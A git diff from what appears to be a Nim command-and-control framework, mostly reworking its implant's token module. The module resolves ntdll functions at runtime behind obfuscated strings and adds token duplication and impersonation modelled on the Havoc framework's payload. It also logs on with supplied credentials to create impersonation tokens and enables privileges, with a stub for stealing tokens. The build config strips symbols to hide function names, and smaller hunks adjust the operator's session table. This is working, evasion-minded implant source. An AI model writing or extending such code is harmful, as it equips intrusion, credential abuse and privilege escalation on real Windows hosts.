diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim index 1a150eb..ea87035 100644 --- a/src/agent/core/token.nim +++ b/src/agent/core/token.nim @@ -4,6 +4,8 @@ import ../../common/[types, utils] #[ Token impersonation & manipulation + + Resources: - https://maldevacademy.com/new/modules/57 - https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/ - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c @@ -16,39 +18,61 @@ type NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.} NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} - ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.} + NtSetInformationThread = proc(hThread: HANDLE, threadInformationClass: THREADINFOCLASS, threadInformation: PVOID, threadInformationLength: ULONG): NTSTATUS {.stdcall.} + NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.} + NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.} + NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.} + Apis = object + NtOpenProcessToken: NtOpenProcessToken + NtOpenThreadToken: NtOpenThreadToken + NtQueryInformationToken: NtQueryInformationToken + ConvertSidToSTringSidA: ConvertSidToSTringSidA + NtSetInformationThread: NtSetInformationThread + NtDuplicateToken: NtDuplicateToken + NtAdjustPrivilegesToken: NtAdjustPrivilegesToken + NtClose: NtClose + +proc initApis(): Apis = + let hNtdll = GetModuleHandleA(protect("ntdll")) + + result.NtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) + result.NtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken"))) + result.NtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken"))) + result.ConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA"))) + result.NtSetInformationThread = cast[NtSetInformationThread](GetProcAddress(hNtdll, protect("NtSetInformationThread"))) + result.NtDuplicateToken = cast[NtDuplicateToken](GetProcAddress(hNtdll, protect("NtDuplicateToken"))) + result.NtClose = cast[NtClose](GetProcAddress(hNtdll, protect("NtClose"))) + result.NtAdjustPrivilegesToken = cast[NtAdjustPrivilegesToken](GetProcAddress(hNtdll, protect("NtAdjustPrivilegesToken"))) + + const - CURRENT_THREAD = cast[HANDLE](-2) CURRENT_PROCESS = cast[HANDLE](-1) + CURRENT_THREAD = cast[HANDLE](-2) proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE = + let apis = initApis() + var status: NTSTATUS = 0 hToken: HANDLE - let hNtdll = GetModuleHandleA(protect("ntdll")) - let - pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken"))) - pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) - # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to - status = pNtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken) + status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken) if status != STATUS_SUCCESS: - status = pNtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) + status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) return hToken -proc sidToString(sid: PSID): string = - let pConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA"))) +proc sidToString(apis: Apis, sid: PSID): string = var stringSid: LPSTR - discard pConvertSidToStringSidA(sid, addr stringSid) + discard apis.ConvertSidToStringSidA(sid, addr stringSid) return $stringSid -proc sidToName(sid: PSID): string = +proc sidToName(apis: Apis, sid: PSID): string = var usernameSize: DWORD = 0 domainSize: DWORD = 0 @@ -63,7 +87,7 @@ proc sidToName(sid: PSID): string = return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)] return "" -proc privilegeToString(luid: PLUID): string = +proc privilegeToString(apis: Apis, luid: PLUID): string = var privSize: DWORD = 0 # Retrieve required size @@ -77,16 +101,13 @@ proc privilegeToString(luid: PLUID): string = #[ Retrieve and return information about an access token ]# - -proc getTokenStatistics(hToken: HANDLE): tuple[tokenId, tokenType: string] = +proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] = var status: NTSTATUS = 0 returnLength: ULONG = 0 pStats: TOKEN_STATISTICS - let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) - - status = pNtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex()) @@ -96,15 +117,13 @@ proc getTokenStatistics(hToken: HANDLE): tuple[tokenId, tokenType: string] = return (tokenId, tokenType) -proc getTokenUser(hToken: HANDLE): tuple[username, sid: string] = +proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] = var status: NTSTATUS = 0 returnLength: ULONG = 0 pUser: PTOKEN_USER - let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) - - status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength) if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex()) @@ -113,21 +132,19 @@ proc getTokenUser(hToken: HANDLE): tuple[username, sid: string] = raise newException(CatchableError, $GetLastError()) defer: LocalFree(cast[HLOCAL](pUser)) - status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex()) - return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid)) + return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid)) -proc getTokenGroups(hToken: HANDLE): string = +proc getTokenGroups(apis: Apis, hToken: HANDLE): string = var status: NTSTATUS = 0 returnLength: ULONG = 0 pGroups: PTOKEN_GROUPS - let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) - - status = pNtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength) if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex()) @@ -136,7 +153,7 @@ proc getTokenGroups(hToken: HANDLE): string = raise newException(CatchableError, $GetLastError()) defer: LocalFree(cast[HLOCAL](pGroups)) - status = pNtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex()) @@ -146,17 +163,15 @@ proc getTokenGroups(hToken: HANDLE): string = result &= fmt"Group memberships ({groupCount})" & "\n" for i, group in groups.toOpenArray(0, int(groupCount) - 1): - result &= fmt" - {sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n" + result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n" -proc getTokenPrivileges(hToken: HANDLE): string = +proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string = var status: NTSTATUS = 0 returnLength: ULONG = 0 pPrivileges: PTOKEN_PRIVILEGES - let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken"))) - - status = pNtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength) if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL: raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex()) @@ -165,7 +180,7 @@ proc getTokenPrivileges(hToken: HANDLE): string = raise newException(CatchableError, $GetLastError()) defer: LocalFree(cast[HLOCAL](pPrivileges)) - status = pNtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength) + status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex()) @@ -176,23 +191,82 @@ proc getTokenPrivileges(hToken: HANDLE): string = result &= fmt"Privileges ({privCount})" & "\n" for i, priv in privs.toOpenArray(0, int(privCount) - 1): let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled" - result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n" + result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n" -proc getTokenInfo*(hToken: HANDLE): string = - let (tokenId, tokenType) = hToken.getTokenStatistics() +proc getTokenInfo*(hToken: HANDLE): string = + + let apis = initApis() + + let (tokenId, tokenType) = apis.getTokenStatistics(hToken) result &= fmt"TokenID: 0x{tokenId}" & "\n" result &= fmt"Type: {tokenType}" & "\n" - let (username, sid) = hToken.getTokenUser() + let (username, sid) = apis.getTokenUser(hToken) result &= fmt"User: {username}" & "\n" result &= fmt"SID: {sid}" & "\n" - result &= hToken.getTokenGroups() - result &= hToken.getTokenPrivileges() + result &= apis.getTokenGroups(hToken ) + result &= apis.getTokenPrivileges(hToken) -proc impersonateToken*(hToken: HANDLE) = - discard +#[ + Impersonate token + - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281 +]# +proc impersonate*(apis: Apis, hToken: HANDLE) = + var + status: NTSTATUS + qos: SECURITY_QUALITY_OF_SERVICE + oa: OBJECT_ATTRIBUTES + impersonationToken: HANDLE = 0 + returnLength: ULONG = 0 + duplicated: bool = false + + if apis.getTokenStatistics(hToken).tokenType == protect("Primary"): + # Create a duplicate impersonation token + qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE)) + qos.ImpersonationLevel = securityImpersonation + qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING + qos.EffectiveOnly = FALSE + + oa.Length = cast[DWORD](sizeof(OBJECT_ATTRIBUTES)) + oa.RootDirectory = 0 + oa.ObjectName = NULL + oa.Attributes = 0 + oa.SecurityDescriptor = NULL + oa.SecurityQualityOfService = addr qos + + status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtDuplicateToken ") & $status.toHex()) + + else: + # Use the original token if it is already an impersonation token + impersonationToken = hToken + + # Impersonate the token in the current thread (ImpersonateLoggedOnUser) + status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE))) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtSetInformationThread ") & $status.toHex()) + + defer: discard apis.NtClose(impersonationToken) + +#[ + Revert to original access token + RevertToSelf() API implemented using Native API +]# +proc rev2self*() = + + let apis = initApis() + + var + status: NTSTATUS = 0 + hToken: HANDLE = 0 + + status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE))) + + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("RevertToSelf ") & $status.toHex()) #[ Create a new access token from a username, password and domain name triplet. @@ -205,44 +279,40 @@ proc impersonateToken*(hToken: HANDLE) = changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function. ]# proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): string = + + let apis = initApis() + if username == "" or password == "" or domain == "": raise newException(CatchableError, protect("Invalid format.")) - var - hToken: HANDLE - hImpersonationToken: HANDLE + rev2self() + var hToken: HANDLE let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE: raise newException(CatchableError, $GetLastError()) - defer: CloseHandle(hToken) + defer: discard apis.NtClose(hToken) - if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE: - raise newException(CatchableError, $GetLastError()) - - # Revert to self before impersonation - discard RevertToSelf() - if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE: - CloseHandle(hImpersonationToken) - raise newException(CatchableError, $GetLastError()) + apis.impersonate(hToken) - return hToken.getTokenUser.username + return apis.getTokenUser(hToken).username -proc tokenSteal*(pid: int): bool = +proc stealToken*(pid: int): bool = discard -proc rev2self*(): bool = - return RevertToSelf() - proc enablePrivilege*(privilegeName: string, enable: bool = true): string = + + let apis = initApis() + var + status: NTSTATUS = 0 tokenPrivs: TOKEN_PRIVILEGES oldTokenPrivs: TOKEN_PRIVILEGES luid: LUID returnLength: DWORD let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY) - defer: CloseHandle(hToken) + defer: discard apis.NtClose(hToken) if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE: raise newException(CatchableError, $GetLastError()) @@ -252,8 +322,9 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string = tokenPrivs.Privileges[0].Luid = luid tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0 - if AdjustTokenPrivileges(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) == FALSE: - raise newException(CatchableError, $GetLastError()) + status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) + if status != STATUS_SUCCESS: + raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex()) let action = if enable: protect("Enabled") else: protect("Disabled") - return fmt"{action} {privilegeToString(addr luid)}." \ No newline at end of file + return fmt"{action} {apis.privilegeToString(addr luid)}." \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 02d118e..e4784a2 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -3,6 +3,6 @@ -d:release --opt:size --passL:"-s" # Strip symbols, such as sensitive function names --d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" +-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/views/sessions.nim b/src/client/views/sessions.nim index 340f8de..e2d5739 100644 --- a/src/client/views/sessions.nim +++ b/src/client/views/sessions.nim @@ -86,7 +86,6 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = # Sort sessions table based on first checkin component.agents.sort(cmp) for row, agent in component.agents: - igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f) if igTableSetColumnIndex(0): @@ -128,13 +127,12 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = if igTableSetColumnIndex(9): let duration = now() - agent.firstCheckin.fromUnix().local() let totalSeconds = duration.inSeconds - + let hours = totalSeconds div 3600 let minutes = (totalSeconds mod 3600) div 60 let seconds = totalSeconds mod 60 - let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") - igText(fmt"{timeText} ago") + igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago") if igTableSetColumnIndex(10): let duration = now() - component.agentActivity[agent.agentId].fromUnix().local() @@ -144,12 +142,11 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = let minutes = (totalSeconds mod 3600) div 60 let seconds = totalSeconds mod 60 - let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") - + let timeText = fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago" if totalSeconds > agent.sleep: - igTextColored(GRAY, fmt"{timeText} ago") + igTextColored(GRAY, timeText) else: - igText(fmt"{timeText} ago") + igText(timeText) # Handle right-click context menu # Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected diff --git a/src/modules/token.nim b/src/modules/token.nim index 23294f8..447717d 100644 --- a/src/modules/token.nim +++ b/src/modules/token.nim @@ -109,9 +109,7 @@ when defined(agent): proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = try: echo fmt" [>] Reverting access token." - - if not rev2self(): - return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[]) + rev2self() return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: @@ -120,7 +118,6 @@ when defined(agent): proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = try: echo fmt" [>] Retrieving token information." - let tokenInfo = getCurrentToken().getTokenInfo() return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))